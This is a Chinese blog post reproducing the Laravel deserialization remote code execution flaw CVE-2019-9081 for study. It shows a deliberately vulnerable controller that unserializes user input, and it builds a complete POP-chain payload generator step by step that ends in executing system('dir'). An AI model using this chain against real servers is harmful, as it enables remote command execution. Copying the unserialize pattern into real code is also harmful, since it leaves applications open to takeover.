标签:pac composer ali 搭建 route nta 进入 aliyun php开发
Laravel是一款比较流行的优秀php开发框架,本身也比较重,通过这个框架来接触大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的。在学习了几天Laravel开发以后,我尝试复现了一下CVE-2019-9081,整体过程和原作者还是有些区别的,原作者思维比较跳跃的地方,我按自己的思维尝试摸索,有错误之处欢迎斧正。
使用composer+PhpStorm+xampp的方式配置laravel
首先下载composer,安装完成之后配置国内镜像源
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
使用PhpStorm直接在xampp/htdocs下创建composer项目

访问public目录出现如下界面表示Laravel配置成功

接下来创建控制器
php artisan make:controller DemoController
配置路由
Route::get('/demo', '\App\Http\Controllers\DemoController@demo');
控制器
class DemoController extends Controller
{
public function demo()
{
if (isset($_GET['c'])) {
$code = $_GET['c'];
unserialize($code);
} else {
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
访问public/demo

Laravel v5.7相较Laravel v5.6在vendor/laravel/framework/src/Illuminate/Foundation/Testing下新增了PendingCommand.php,其中有PendingCommand类,它的__destruct方法是这样的

跟进run方法,在run方法的头顶,赫然写着Execute the command

一大堆东西,其中$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);看起来有可能是执行命令的函数,前面会经过很多代码,这时候不如debug跟一下
run这时候先随便构造个payload
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand('system', 'dir');
echo urlencode(serialize($a));
}
传进去,断点断下来,单步
hasExecuted默认是false,直接往下走,进到run

有个mockConsoleOutput(),跟进去

第一句直接报错了,看一下laravel的报错

原来是我们$parameters类型问题,改成数组
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace{
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir']);
echo urlencode(serialize($a));
}
重来还是报错,这次是第一句里面的createABufferedOutputMock()

这时候$this->test是null,这个属性是可控的。全局搜索$expectedQuestions,找找有没有可用的类,发现只有一个trait,没法实例化。

__call续接pop链取属性取不到怎么办?答案是找__call。这一步比较自由,原作者用的是Illuminate\Auth\GenericUser,我找的是Faker\DefaultGenerator,$default完全可控

这时候再修改一下payload
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace{
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b);
echo urlencode(serialize($a));
}
然后我们就可以顺利通过createABufferedOutputMock()。回到mockConsoleOutput(),接下来的foreach和刚刚的一样,顺利通过。
mockConsoleOutput终于马上可以出这个方法,但是再一次报错
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
这次是因为$this->app为null。去前面看app是个什么

然而找了半天没找到这么个Application类,去文档搜索有bind()方法的类

Illuminate\Container\Container就你了,那么现在的payload是
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Container{
class Container{
}
}
namespace{
$c = new Illuminate\Container\Container();
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
echo urlencode(serialize($a));
}
总算是走出了mockConsoleOutput,回到run
终于走到疑似代码执行的地方
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这才发现app是有要求的,看一下Kernel::class好像是个固定值,跟着走,发现下图左下调用栈,这时候我们的目的是让代码走通就行,所以只管往下走就行。

一直调用到isBuildable()除了问题,

往里走到build

$reflector->isInstantiable()那里过不了,借助反射类看一下,原来Illuminate\Contracts\Console\Kernel是个接口,正好getConcrete()中,我们可以找到任意一个有$binding属性的类来实例化的。

正好,我们之前用的Illuminate\Container\Container就满足这个条件,由于我们已知$abstract变量为Illuminate\Contracts\Console\Kernel,所以我们只需通过反序列化定义Illuminate\Container\Container的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,这时候payload如下
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($command, $parameters, $test, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $test;
$this->app = $app;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Container{
class Container{
protected $bindings = [];
public function __construct($bindings)
{
$this->bindings = $bindings;
}
}
}
namespace{
$c = new Illuminate\Container\Container(['Illuminate\Contracts\Console\Kernel'=>['concrete'=>'Illuminate\Container\Container']]);
$b = new Faker\DefaultGenerator(['0'=>'1']);
$a = new Illuminate\Foundation\Testing\PendingCommand('system', ['dir'], $b, $c);
echo urlencode(serialize($a));
}
这时候isBuildable()我们第一遍是过不去的

但是进入make()以后,第二遍循环时$concrete和$abstract已经都是Illuminate\Container\Container了,注意左下的调用栈

成功实例化类,最后逐层返回我们创建的对象。最后我们可以知道通过我们传入的payload,$this->app[Kernel::class]最终返回的内容就是我们创建的Illuminate\Container\Container类的对象

最后call的庐山真面目

成功执行call_user_func_array(‘system‘,array(‘dir‘))

CVE原作者博客 laravelv5.7反序列化rce(CVE-2019-9081)
Laravel v5.8 反序列化rce (CVE-2019-9081) 复现
标签:pac composer ali 搭建 route nta 进入 aliyun php开发
原文地址:https://www.cnblogs.com/20175211lyz/p/12343980.html